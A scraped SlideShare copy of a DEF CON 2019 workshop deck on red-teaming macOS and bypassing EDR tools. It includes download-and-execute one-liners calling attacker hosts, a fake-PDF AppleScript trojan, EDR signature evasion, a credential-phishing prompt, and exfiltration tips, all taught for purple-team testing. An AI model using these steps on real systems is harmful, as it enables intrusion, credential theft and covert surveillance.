SlideShare a Scribd company logo
Commercial in Confidence· www.digitalshadows.com
Taking advantage of cross-platform security solutions for MacOS/Linux
DEF CON Workshop 2019-08-10
Mind the Gap!
Commercial in Confidence· www.digitalshadows.com2
Who are we?
Richard Gold Security Engineering team
Director of Security Engineering
@drshellface on Twitter
• Rob Curtis
• co-instructor
• Simon Hall
• Isidoros Monogioudis
• ...and more...
Commercial in Confidence· www.digitalshadows.com3
• Introduction
• Setup a pupy C2 server in a virtual environment (see the USB sticks)
• Initial Access
• creating a malicious macro-enabled document and/or a fake PDF with an AppleScript launcher
• Execution
• executing the payload to get a shell
• Credential Access
• what gets caught, what doesn’t - some simple tricks to get creds
• Discovery
• Active Directory recon
• Collection
• Screenshotting and friends
• Exfil
• Tips’n’tricks for exfil’ing your loot
• C2
• What works, what doesn’t
• Wrap-up
• Questions, comments, flames, etc.
Overview
Commercial in Confidence· www.digitalshadows.com
Introduction
Commercial in Confidence· www.digitalshadows.com5
• MacOS has two main security features that we need to be aware of:
a. Gatekeeper: sets policy about which applications can be executed
b. XProtect: set of malware signatures which are blacklisted
• These systems are good for preventing the execution of malicious binaries which are
dropped to disk (Windows tradecraft in the 2000s)
• On Windows, attackers pivoted to Powershell and JS tooling
a. C# is another topic entirely :)
• Turns out that Python is installed by default on MacOS
a. Most Linux systems too
MacOS security systems
Commercial in Confidence· www.digitalshadows.com6
• Endpoint Detection and Response (EDR) are the next-gen AV solutions
• Have more advanced detection capabilities including in-memory scanning
• This is particularly useful to catch (default) Mimikatz and others!
• Also Response capabilities:
• Memory capture from a device
• Quarantine
• Forensics
EDR platform
Commercial in Confidence· www.digitalshadows.com
• Many vendors of software and security promise cross-platform support
• Many EDR systems are cross-platform with vendors touting their ability to have
coverage of Windows, MacOS, Linux and more
• However, crossplatform support for security, especially for non-Windows platforms is
weak at best
• Even offensive toolsets often are lacking features for MacOS!
• Similarly, security features in popular products, like Microsoft Office, vary drastically
from platform to platform
Crossplatform issues
7
Commercial in Confidence· www.digitalshadows.com8
• Purple Team assessments are a cornerstone of how we approach security
• We're big fans of the Mitre ATT&CK framework for both offensive & defensive work
• You don't know how well something works until you test it
• “Right or wrong, it’s very pleasant to break something from time to time.”— Fyodor Dostoevsky
• Crossplatform security software is a challenge
• this applies to both offensive and defensive tooling!
• Python to the rescue! :)
Motivation and Approach
Commercial in Confidence· www.digitalshadows.com9
• APTs do target MacOS
• Coinbase attack targeted MacOS users
• APT28 had a MacOS version of X-Agent (XAgentOSX) implant
• WindShift have the WindTail implant for MacOS
• Lazarus Group have the AppleJeus implant for MacOS
APTs
Commercial in Confidence· www.digitalshadows.com10
“MITRE’s Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK™) is a
curated knowledge base and model for cyber adversary behavior, reflecting the various
phases of an adversary’s lifecycle and the platforms they are known to target”
Mitre ATT&CK
Commercial in Confidence· www.digitalshadows.com11
Threat emulation: try out a number of open source tools, no point re-inventing the
square wheel, we're looking for effective security, not points for style.
• Tool up! Install and configure the following toolkits to get started:
• Empire - https://github.com/EmpireProject/Empire
• Eggshell - https://github.com/neoneggplant/EggShell
• EvilOSX - https://github.com/Marten4n6/EvilOSX
• Pupy - https://github.com/n1nj4sec/pupy
• Following steps we took (titles of section) come from the Mitre ATT&CK framework:
https://attack.mitre.org/tactics/enterprise/
Planning
Commercial in Confidence· www.digitalshadows.com12
• If you already have VMWare Fusion, you can use that
Otherwise:
• Install Virtualbox on your MacOS device:
• https://download.virtualbox.org/virtualbox/6.0.8/VirtualBox-6.0.8-130520-OSX.dmg
• Or grab it from the USB stick
• Get the Kali image:
• https://images.offensive-security.com/virtual-images/kali-linux-2019.2-vbox-amd64.ova
• Or grab it from the USB stick
C2 server OS setup
Commercial in Confidence· www.digitalshadows.com13
To install the Pupy server component:
• sudo apt install git libssl1.0-dev libffi-dev python-dev
python-pip build-essential swig tcpdump python-virtualenv
• git clone --recursive https://github.com/n1nj4sec/pupy
• python create-workspace.py -DG pupyws
• sudo -H pip install scapy --upgrade
• there is an installation issue with scapy 2.4.2 which pupy currently points at, 2.4.3 works though
• sudo pupyws/bin/pupysh
Pupy C2 server setup
Commercial in Confidence· www.digitalshadows.com14
• By default pupy listens on port 443 for C2 callbacks
• By default pupy uses port 9000 for staging the implant
• The above can be confusing and catch people out at the beginning, especially when
dealing with protected environments
• You can probably get 80 & 443 outbound to a cloud infra provider
• Create a Python one-liner for staging your pupy implant:
• gen -f py_oneliner
• Your one liner should look a bit like this:
• python -c 'import urllib;exec
urllib.urlopen("http://172.16.1.198:9000/d47OwioFmM/Zjlu5VIOkL").read()'
• The one liner will download and execute pupy in-memory
pupy
Commercial in Confidence· www.digitalshadows.com15
Experiment!
install pupy & test the one liner
Commercial in Confidence· www.digitalshadows.com
Initial Access
Commercial in Confidence· www.digitalshadows.com17
• Our tried and true technique of spearphishing with a Macro-enabled document as an
attachment (T1193) or a link (T1192) is our go-to for attacking MacOS users
• While macros can be disabled across an organization now, it requires an MDM
solution to work effectively across a fleet of machines
• Certain users and functions, like payroll, often require macros to be enabled and
there is no "Trusted Locations" or signed Macro support in Office for Mac
Initial Access
Commercial in Confidence· www.digitalshadows.com18
• We will practice creating Macro-enabled documents in MS Office
• Note: While email filtering gateways may convert or block macro-enabled files,
Spearphishing with a Link (T1192) works exceptionally well for delivering a payload to
user
• Bonus points: use a well-known file locker like Dropbox or Google Drive to host your
payload
• You may need to zip up your payload to avoid prying eyes
Initial Access - Macros
Commercial in Confidence· www.digitalshadows.com19
• Generate osx/macro using Empyre
• git clone empire
• sudo ./setup/install.sh
• sudo ./empire
• listeners
• uselistener http
• usestage osx/macro
• Modify cmd to include (obfuscated) pupy one-liner
• OR
• use our Macro template from the USB stick
• Pro-tip:
• Need to add: Private Declare PtrSafe Function system Lib " /usr/lib/libc.dylib" Alias "popen"
(ByVal command As String, ByVal mode As String) as LongPtr
• A defender can block the import of the external library
• H/T https://www.slideshare.net/DannyChrastil/pwning-in-the-sandbox-osx-macro-exploitation
• Slide 42
Macro creation HOWTO
Commercial in Confidence· www.digitalshadows.com20
• Alternatively, use AppleScript as the launcher and use the ScriptEditor to create an
Application, H/T TokyoNeon -
https://null-byte.wonderhowto.com/how-to/hacking-macos-create-fake-pdf-trojan-wit
h-applescript-part-2-disguising-script-0184706/
• Host this on a well-known file locker for maximum pwnage
• EDR does not have the same sensitivity to AppleScript as PowerShell or JavaScript on
Windows
• You can try to follow the tutorial on the web page or grab the pre-packaged payload
from the USB stick
Fake PDF with AppleScript launcher
Commercial in Confidence· www.digitalshadows.com21
• The attack uses AppleScript to download and display a decoy PDF & run pupy
• do shell script "s=ATTACKER-IP-ADDRESS:PORT; curl -s $s/real.pdf |
open -f -a Preview.app & curl -s $s/script | python -"
• You need a web server (like python -m SimpleHTTPServer 8080) to serve up
the Python script and the decoy PDF
• By using tweaked icons and unicode obfuscation tricks it’s possible to make a really
convincing fake PDF
• Remember to use the string concat trick in your launcher if EDR is present!
Fake PDF with AppleScript launcher
Commercial in Confidence· www.digitalshadows.com22
Experiment!
Generate a malicious macro
and/or AppleScript document
Commercial in Confidence· www.digitalshadows.com
Execution
Commercial in Confidence· www.digitalshadows.com24
A mixture of User Execution (T1204) and Scripting (T1064) is an obvious and effective
way to gain code execution
• Some tricks of the trade: need full file path to call out to the system library now in
Office 16+
• Our first EDR detection! Turns out vanilla Empire VBA macro is heavily-signatured by
our target EDR system and most likely others - does it get picked up with your EDR
system?
• It seems any piece of code from the Empire toolset is picked up, not just the launcher
Execution
Commercial in Confidence· www.digitalshadows.com25
• Bypass required us to go crude:
• "If they think you're crude, go technical; if they think you're technical, go crude. I'm a very technical
boy. So I decided to get as crude as possible" -- Johnny Mnemonic, William Gibson
• Practice stripping out all the "fancy" base64 encoding and executed the pupy python
one-liner directly - we've had success with this in the past
• If your EDR provider signatures the python one-liner, with the magical powers of
string concatenation, we can often bypass the signature
• But now in an Office sandbox - complicated as bypasses come and go - even without a
bypass, can still cat /etc/passwd undetected however
• https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/ [obsolete]
• Some people (not me!) have reported success with:
• https://github.com/cldrn/macphish/wiki/Abusing-GrantAccessToMultipleFiles
Bypassing EDR
Commercial in Confidence· www.digitalshadows.com26
• Eggshell worked when executed directly
• Plot twist: binaries are not checked when dropped to disk (like traditional AV), but
only when they are executed, maybe a surprise to people not familiar with EDR
• Fixed now, but the reality of modern EDR is that you can drop a 24/58 VT scored binary onto disk
and have it executed without any problems
• EvilOSX worked when executed directly
• still does...! Although some EDR systems we have tried have detected it
Execution continued...
Commercial in Confidence· www.digitalshadows.com27
Experiment!
Execute payload from document,
try Eggshell, EvilOSX, ...
Commercial in Confidence· www.digitalshadows.com
Credential Access
Commercial in Confidence· www.digitalshadows.com29
Any usage of the Empire credential stealers (T1003) gets immediately flagged and
blocked (process killed), even from within pupy running in-memory as it drops the stealer
to disk
• EDR is pretty good at looking for programmatic access to credential stores
• We went crude, again, this time with FiveOnceInYourLife (H/T fuzzynop) (T1056)
• Let's try it out!
• https://github.com/fuzzynop/FiveOnceInYourLife
• (needs to be run in a non-sandbox environment)
Credential Access
Commercial in Confidence· www.digitalshadows.com30
• Command: FOIYL.py
• Prompt the user for admin credentials for an update, users are often conditioned to
do this with Slack and friends, simple bit of AppleScript triggered by osascript is a)
effective & b) undetected
• Hey Presto! Local admin creds!
FiveOnceInYourLife
Commercial in Confidence· www.digitalshadows.com31
Experiment!
try FiveOnceInYourLife and/or
hashdump
Commercial in Confidence· www.digitalshadows.com
Discovery
Commercial in Confidence· www.digitalshadows.com33
If your target is domain-joined, you’ll want to do some more investigating
• The in-scope Macs are all domain-joined and we would like to recon the Active
Directory environment, e.g., which groups are available (T1069) and which shares are
available (T1135)
• Our Windows testing revealed that all our standard net user/net group Active
Directory enumeration commands were picked up by the EDR system
• We were pleasantly surprised to discover that the MacOS-equivalent commands (dscl
and dsconfigad) which return exactly the same information as their Windows cousins
were completely undetected!
• List all Domain Admins, etc.
Discovery
Commercial in Confidence· www.digitalshadows.com34
We will not run these commands for real as we will not have an Active Directory
environment available, we will review their syntax and go over the expected output
• dscl . ls /Users
• dscl . read /Users/user.mcuserface
• dscl "/Active Directory/ABC/All Domains" ls /Users
• dscl "/Active Directory/ABC/All Domains" read /Users/service_account
• dscl "/Active Directory/ABC/All Domains" ls /Computers
• dscl "/Active Directory/ABC/All Domains" read "/Computers/XYZ"
• dscl . ls /Groups
• dscl . read "/Groups/powerusers"
• dscl "/Active Directory/ABC/All Domains" ls /Groups
• dscl "/Active Directory/ABC/All Domains" read "/Groups/ABCDomain
Admins"
• dsconfigad -show
Active Directory recon
Commercial in Confidence· www.digitalshadows.com35
EvilOSX has a function to discover the bookmarks stored by the browser which can be
helpful for revealing internal information (at least, internal system names), was also
undetected
Discovery continued
Commercial in Confidence· www.digitalshadows.com36
Experiment!
Try to steal bookmarks
Commercial in Confidence· www.digitalshadows.com
Collection
Commercial in Confidence· www.digitalshadows.com38
Screen capture (T1113), webcam capture (T1125) and microphone capture (T1123) can all
be performed with pupy, EvilOSX and Eggshell
• All three types of collection from all three tools were undetected
• FIN7, APT28, etc. make extensive use of this form of collection
• We will try different types of collection with the various tools
Collection
Commercial in Confidence· www.digitalshadows.com39
By default pupy comes with a variety of collection scripts (called “gather”)
• help -M to list available modules
• Just type the name of the module to use it, for example:
• screenshot (currently not working on Linux due to a dependency issue)
• keylogger (currently not working on MacOS)
• users
• get_info
pupy Collection
Commercial in Confidence· www.digitalshadows.com40
Experiment!
Explore the different “gather”
modules, e.g., keylogger
Commercial in Confidence· www.digitalshadows.com
Exfiltration
Commercial in Confidence· www.digitalshadows.com42
Web Filtering is an issue but whitelists are often overly broad
• Our favourites are big name tech firms who also offer cloud hosting, e.g., Amazon
AWS, Microsoft Azure, Google Compute Platform, etc.
• Very difficult for organizations to differentiate between legit and non-legit data flows
to cloud providers
• The C2 channel works great in many cases (T1041)
Exfiltration
Commercial in Confidence· www.digitalshadows.com43
Experiment!
Try to exfil a file with pupy
Commercial in Confidence· www.digitalshadows.com
Command and Control
Commercial in Confidence· www.digitalshadows.com45
• HTTPS is an obvious favourite (T1071)
• We'll review the different options present in the tools
• Self-signed certs will get you caught
• Let's Encrypt to the rescue? (Future Work for keen attendees!)
• SSL Interception can still catch you out
• If you're lucky, the targets will drop off of the corporate network or the VPN
Command and Control
Commercial in Confidence· www.digitalshadows.com
Wrap-up
Commercial in Confidence· www.digitalshadows.com47
• True feature parity across platforms is a myth
• MacOS is typically underserved by both crossplatform software and security
• We got T-shirts, but many questions still remain about EDR effectiveness on MacOS
• Going crude: even really basic techniques are enough to get you success
• Once you move off of the mainstream offensive toolsets (Empire), there's plenty of
options
• This workshop has walked you through the tools and processes you can use to break
in and out of protected MacOS environments
Conclusions

More Related Content

PPTX
Staying connected: An Overview of Announcements from Microsoft’s Connect();
dotNet Miami
 
PPTX
Dd13.2013.milano.open ntf
Ulrich Krause
 
PDF
HackInTheBox - AMS 2011 , Spying on SpyEye - What Lies Beneath ?
Aditya K Sood
 
PDF
Red Team Tactics for Cracking the GSuite Perimeter
Mike Felch
 
PDF
I got 99 trends and a # is all of them
Roberto Suggi Liverani
 
PPTX
Offensive Python for Pentesting
Mike Felch
 
PDF
Visiting the Bear Den
ESET
 
PDF
0day hunting a.k.a. The story of a proper CPE test
Balazs Bucsay
 
Staying connected: An Overview of Announcements from Microsoft’s Connect();
dotNet Miami
 
Dd13.2013.milano.open ntf
Ulrich Krause
 
HackInTheBox - AMS 2011 , Spying on SpyEye - What Lies Beneath ?
Aditya K Sood
 
Red Team Tactics for Cracking the GSuite Perimeter
Mike Felch
 
I got 99 trends and a # is all of them
Roberto Suggi Liverani
 
Offensive Python for Pentesting
Mike Felch
 
Visiting the Bear Den
ESET
 
0day hunting a.k.a. The story of a proper CPE test
Balazs Bucsay
 

Similar to DEF CON 27 - workshop - RICHARD GOLD - mind the gap (20)

PPTX
Advanced Internet of Things firmware engineering with Thingsquare and Contiki...
Adam Dunkels
 
PDF
Tampere Docker meetup - Happy 5th Birthday Docker
Sakari Hoisko
 
PPTX
Docker, how to use it. organize a meeting with IBM products...
Andrea Fontana
 
PDF
Ci for i-os-codemash-01.2013
Kevin Munc
 
PPT
RSA SF Conference talk-2009-ht2-401 sallam
Ahmed Sallam
 
PDF
5GCroCo_DockerSecurityBasics_Training.pdf
MaghsoudAbbasPour1
 
PDF
Pursuing evasive custom command & control - GuideM
Mark Secretario
 
PPTX
Security research over Windows #defcon china
Peter Hlavaty
 
PPTX
.docker : How to deploy Digital Experience in a container, drinking a cup of ...
ICON UK EVENTS Limited
 
PPTX
The Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptx
lior mazor
 
PDF
Dockercon eu tour 2015 - Devoxx Casablanca
Michel Courtine
 
PPTX
Free Mongo on OpenShift
Steven Pousty
 
PPTX
Docker Bday #5, SF Edition: Introduction to Docker
Docker, Inc.
 
PPTX
docker : how to deploy Digital Experience in a container drinking a cup of co...
Matteo Bisi
 
PDF
Docker 101: An Introduction
POSSCON
 
PPTX
Get the Exact Identity Solution You Need - In the Cloud - Overview
ForgeRock
 
PPTX
.docker : how to deploy Digital Experience in a container drinking a cup of c...
Andrea Fontana
 
PPTX
DockerDay2015: Keynote
Docker-Hanoi
 
PDF
Docker Enterprise Deployment Planning
Stephane Woillez
 
PDF
Strategy, planning and governance for enterprise deployments of containers - ...
The Incredible Automation Day
 
Advanced Internet of Things firmware engineering with Thingsquare and Contiki...
Adam Dunkels
 
Tampere Docker meetup - Happy 5th Birthday Docker
Sakari Hoisko
 
Docker, how to use it. organize a meeting with IBM products...
Andrea Fontana
 
Ci for i-os-codemash-01.2013
Kevin Munc
 
RSA SF Conference talk-2009-ht2-401 sallam
Ahmed Sallam
 
5GCroCo_DockerSecurityBasics_Training.pdf
MaghsoudAbbasPour1
 
Pursuing evasive custom command & control - GuideM
Mark Secretario
 
Security research over Windows #defcon china
Peter Hlavaty
 
.docker : How to deploy Digital Experience in a container, drinking a cup of ...
ICON UK EVENTS Limited
 
The Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptx
lior mazor
 
Dockercon eu tour 2015 - Devoxx Casablanca
Michel Courtine
 
Free Mongo on OpenShift
Steven Pousty
 
Docker Bday #5, SF Edition: Introduction to Docker
Docker, Inc.
 
docker : how to deploy Digital Experience in a container drinking a cup of co...
Matteo Bisi
 
Docker 101: An Introduction
POSSCON
 
Get the Exact Identity Solution You Need - In the Cloud - Overview
ForgeRock
 
.docker : how to deploy Digital Experience in a container drinking a cup of c...
Andrea Fontana
 
DockerDay2015: Keynote
Docker-Hanoi
 
Docker Enterprise Deployment Planning
Stephane Woillez
 
Strategy, planning and governance for enterprise deployments of containers - ...
The Incredible Automation Day
 
Ad

More from Felipe Prado (20)

PDF
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
Felipe Prado
 
PDF
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
Felipe Prado
 
PDF
DEF CON 24 - Tamas Szakaly - help i got ants
Felipe Prado
 
PDF
DEF CON 24 - Ladar Levison - compelled decryption
Felipe Prado
 
PDF
DEF CON 24 - Clarence Chio - machine duping 101
Felipe Prado
 
PDF
DEF CON 24 - Chris Rock - how to overthrow a government
Felipe Prado
 
PDF
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
Felipe Prado
 
PDF
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
Felipe Prado
 
PDF
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
Felipe Prado
 
PDF
DEF CON 24 - Gorenc Sands - hacker machine interface
Felipe Prado
 
PDF
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
Felipe Prado
 
PDF
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
Felipe Prado
 
PDF
DEF CON 24 - Rich Mogull - pragmatic cloud security
Felipe Prado
 
PDF
DEF CON 24 - Grant Bugher - Bypassing captive portals
Felipe Prado
 
PDF
DEF CON 24 - Patrick Wardle - 99 problems little snitch
Felipe Prado
 
PDF
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
Felipe Prado
 
PDF
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
Felipe Prado
 
PDF
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
Felipe Prado
 
PDF
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
Felipe Prado
 
PDF
DEF CON 24 - Antonio Joseph - fuzzing android devices
Felipe Prado
 
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
Felipe Prado
 
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
Felipe Prado
 
DEF CON 24 - Tamas Szakaly - help i got ants
Felipe Prado
 
DEF CON 24 - Ladar Levison - compelled decryption
Felipe Prado
 
DEF CON 24 - Clarence Chio - machine duping 101
Felipe Prado
 
DEF CON 24 - Chris Rock - how to overthrow a government
Felipe Prado
 
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
Felipe Prado
 
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
Felipe Prado
 
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
Felipe Prado
 
DEF CON 24 - Gorenc Sands - hacker machine interface
Felipe Prado
 
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
Felipe Prado
 
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
Felipe Prado
 
DEF CON 24 - Rich Mogull - pragmatic cloud security
Felipe Prado
 
DEF CON 24 - Grant Bugher - Bypassing captive portals
Felipe Prado
 
DEF CON 24 - Patrick Wardle - 99 problems little snitch
Felipe Prado
 
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
Felipe Prado
 
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
Felipe Prado
 
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
Felipe Prado
 
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
Felipe Prado
 
DEF CON 24 - Antonio Joseph - fuzzing android devices
Felipe Prado
 
Ad

Recently uploaded (20)

PDF
Economic Impact of Data Centres to the Malaysian Economy
flintglobalapac
 
PDF
A Strategic Analysis of the MVNO Wave in Emerging Markets.pdf
IPLOOK Networks
 
PDF
REPORT: Heating appliances market in Poland 2024
SPIUG
 
PDF
Oracle AI Vector Search- Getting Started and what's new in 2025- AIOUG Yatra ...
Sandesh Rao
 
PDF
Orbitly Pitch Deck|A Mission-Driven Platform for Side Project Collaboration (...
zz41354899
 
PDF
Cloud-Migration-Best-Practices-A-Practical-Guide-to-AWS-Azure-and-Google-Clou...
Artjoker Software Development Company
 
PDF
Make GenAI investments go further with the Dell AI Factory
Principled Technologies
 
PDF
Google I/O Extended 2025 Baku - all ppts
HusseinMalikMammadli
 
PDF
OFFOFFBOX™ – A New Era for African Film | Startup Presentation
ambaicciwalkerbrian
 
PPTX
AI and Robotics for Human Well-being.pptx
JAYMIN SUTHAR
 
PDF
Automating ArcGIS Content Discovery with FME: A Real World Use Case
Safe Software
 
PDF
Doc9.....................................
SofiaCollazos
 
PDF
Structs to JSON: How Go Powers REST APIs
Emily Achieng
 
PDF
Get More from Fiori Automation - What’s New, What Works, and What’s Next.pdf
Precisely
 
PDF
Tea4chat - another LLM Project by Kerem Atam
a0m0rajab1
 
PPTX
IT Runs Better with ThousandEyes AI-driven Assurance
ThousandEyes
 
PDF
Brief History of Internet - Early Days of Internet
sutharharshit158
 
PDF
BLW VOCATIONAL TRAINING SUMMER INTERNSHIP REPORT
codernjn73
 
PDF
Security features in Dell, HP, and Lenovo PC systems: A research-based compar...
Principled Technologies
 
PPTX
Applied-Statistics-Mastering-Data-Driven-Decisions.pptx
parmaryashparmaryash
 
Economic Impact of Data Centres to the Malaysian Economy
flintglobalapac
 
A Strategic Analysis of the MVNO Wave in Emerging Markets.pdf
IPLOOK Networks
 
REPORT: Heating appliances market in Poland 2024
SPIUG
 
Oracle AI Vector Search- Getting Started and what's new in 2025- AIOUG Yatra ...
Sandesh Rao
 
Orbitly Pitch Deck|A Mission-Driven Platform for Side Project Collaboration (...
zz41354899
 
Cloud-Migration-Best-Practices-A-Practical-Guide-to-AWS-Azure-and-Google-Clou...
Artjoker Software Development Company
 
Make GenAI investments go further with the Dell AI Factory
Principled Technologies
 
Google I/O Extended 2025 Baku - all ppts
HusseinMalikMammadli
 
OFFOFFBOX™ – A New Era for African Film | Startup Presentation
ambaicciwalkerbrian
 
AI and Robotics for Human Well-being.pptx
JAYMIN SUTHAR
 
Automating ArcGIS Content Discovery with FME: A Real World Use Case
Safe Software
 
Doc9.....................................
SofiaCollazos
 
Structs to JSON: How Go Powers REST APIs
Emily Achieng
 
Get More from Fiori Automation - What’s New, What Works, and What’s Next.pdf
Precisely
 
Tea4chat - another LLM Project by Kerem Atam
a0m0rajab1
 
IT Runs Better with ThousandEyes AI-driven Assurance
ThousandEyes
 
Brief History of Internet - Early Days of Internet
sutharharshit158
 
BLW VOCATIONAL TRAINING SUMMER INTERNSHIP REPORT
codernjn73
 
Security features in Dell, HP, and Lenovo PC systems: A research-based compar...
Principled Technologies
 
Applied-Statistics-Mastering-Data-Driven-Decisions.pptx
parmaryashparmaryash
 

DEF CON 27 - workshop - RICHARD GOLD - mind the gap

  • 1. Commercial in Confidence· www.digitalshadows.com Taking advantage of cross-platform security solutions for MacOS/Linux DEF CON Workshop 2019-08-10 Mind the Gap!
  • 2. Commercial in Confidence· www.digitalshadows.com2 Who are we? Richard Gold Security Engineering team Director of Security Engineering @drshellface on Twitter • Rob Curtis • co-instructor • Simon Hall • Isidoros Monogioudis • ...and more...
  • 3. Commercial in Confidence· www.digitalshadows.com3 • Introduction • Setup a pupy C2 server in a virtual environment (see the USB sticks) • Initial Access • creating a malicious macro-enabled document and/or a fake PDF with an AppleScript launcher • Execution • executing the payload to get a shell • Credential Access • what gets caught, what doesn’t - some simple tricks to get creds • Discovery • Active Directory recon • Collection • Screenshotting and friends • Exfil • Tips’n’tricks for exfil’ing your loot • C2 • What works, what doesn’t • Wrap-up • Questions, comments, flames, etc. Overview
  • 4. Commercial in Confidence· www.digitalshadows.com Introduction
  • 5. Commercial in Confidence· www.digitalshadows.com5 • MacOS has two main security features that we need to be aware of: a. Gatekeeper: sets policy about which applications can be executed b. XProtect: set of malware signatures which are blacklisted • These systems are good for preventing the execution of malicious binaries which are dropped to disk (Windows tradecraft in the 2000s) • On Windows, attackers pivoted to Powershell and JS tooling a. C# is another topic entirely :) • Turns out that Python is installed by default on MacOS a. Most Linux systems too MacOS security systems
  • 6. Commercial in Confidence· www.digitalshadows.com6 • Endpoint Detection and Response (EDR) are the next-gen AV solutions • Have more advanced detection capabilities including in-memory scanning • This is particularly useful to catch (default) Mimikatz and others! • Also Response capabilities: • Memory capture from a device • Quarantine • Forensics EDR platform
  • 7. Commercial in Confidence· www.digitalshadows.com • Many vendors of software and security promise cross-platform support • Many EDR systems are cross-platform with vendors touting their ability to have coverage of Windows, MacOS, Linux and more • However, crossplatform support for security, especially for non-Windows platforms is weak at best • Even offensive toolsets often are lacking features for MacOS! • Similarly, security features in popular products, like Microsoft Office, vary drastically from platform to platform Crossplatform issues 7
  • 8. Commercial in Confidence· www.digitalshadows.com8 • Purple Team assessments are a cornerstone of how we approach security • We're big fans of the Mitre ATT&CK framework for both offensive & defensive work • You don't know how well something works until you test it • “Right or wrong, it’s very pleasant to break something from time to time.”— Fyodor Dostoevsky • Crossplatform security software is a challenge • this applies to both offensive and defensive tooling! • Python to the rescue! :) Motivation and Approach
  • 9. Commercial in Confidence· www.digitalshadows.com9 • APTs do target MacOS • Coinbase attack targeted MacOS users • APT28 had a MacOS version of X-Agent (XAgentOSX) implant • WindShift have the WindTail implant for MacOS • Lazarus Group have the AppleJeus implant for MacOS APTs
  • 10. Commercial in Confidence· www.digitalshadows.com10 “MITRE’s Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK™) is a curated knowledge base and model for cyber adversary behavior, reflecting the various phases of an adversary’s lifecycle and the platforms they are known to target” Mitre ATT&CK
  • 11. Commercial in Confidence· www.digitalshadows.com11 Threat emulation: try out a number of open source tools, no point re-inventing the square wheel, we're looking for effective security, not points for style. • Tool up! Install and configure the following toolkits to get started: • Empire - https://github.com/EmpireProject/Empire • Eggshell - https://github.com/neoneggplant/EggShell • EvilOSX - https://github.com/Marten4n6/EvilOSX • Pupy - https://github.com/n1nj4sec/pupy • Following steps we took (titles of section) come from the Mitre ATT&CK framework: https://attack.mitre.org/tactics/enterprise/ Planning
  • 12. Commercial in Confidence· www.digitalshadows.com12 • If you already have VMWare Fusion, you can use that Otherwise: • Install Virtualbox on your MacOS device: • https://download.virtualbox.org/virtualbox/6.0.8/VirtualBox-6.0.8-130520-OSX.dmg • Or grab it from the USB stick • Get the Kali image: • https://images.offensive-security.com/virtual-images/kali-linux-2019.2-vbox-amd64.ova • Or grab it from the USB stick C2 server OS setup
  • 13. Commercial in Confidence· www.digitalshadows.com13 To install the Pupy server component: • sudo apt install git libssl1.0-dev libffi-dev python-dev python-pip build-essential swig tcpdump python-virtualenv • git clone --recursive https://github.com/n1nj4sec/pupy • python create-workspace.py -DG pupyws • sudo -H pip install scapy --upgrade • there is an installation issue with scapy 2.4.2 which pupy currently points at, 2.4.3 works though • sudo pupyws/bin/pupysh Pupy C2 server setup
  • 14. Commercial in Confidence· www.digitalshadows.com14 • By default pupy listens on port 443 for C2 callbacks • By default pupy uses port 9000 for staging the implant • The above can be confusing and catch people out at the beginning, especially when dealing with protected environments • You can probably get 80 & 443 outbound to a cloud infra provider • Create a Python one-liner for staging your pupy implant: • gen -f py_oneliner • Your one liner should look a bit like this: • python -c 'import urllib;exec urllib.urlopen("http://172.16.1.198:9000/d47OwioFmM/Zjlu5VIOkL").read()' • The one liner will download and execute pupy in-memory pupy
  • 15. Commercial in Confidence· www.digitalshadows.com15 Experiment! install pupy & test the one liner
  • 16. Commercial in Confidence· www.digitalshadows.com Initial Access
  • 17. Commercial in Confidence· www.digitalshadows.com17 • Our tried and true technique of spearphishing with a Macro-enabled document as an attachment (T1193) or a link (T1192) is our go-to for attacking MacOS users • While macros can be disabled across an organization now, it requires an MDM solution to work effectively across a fleet of machines • Certain users and functions, like payroll, often require macros to be enabled and there is no "Trusted Locations" or signed Macro support in Office for Mac Initial Access
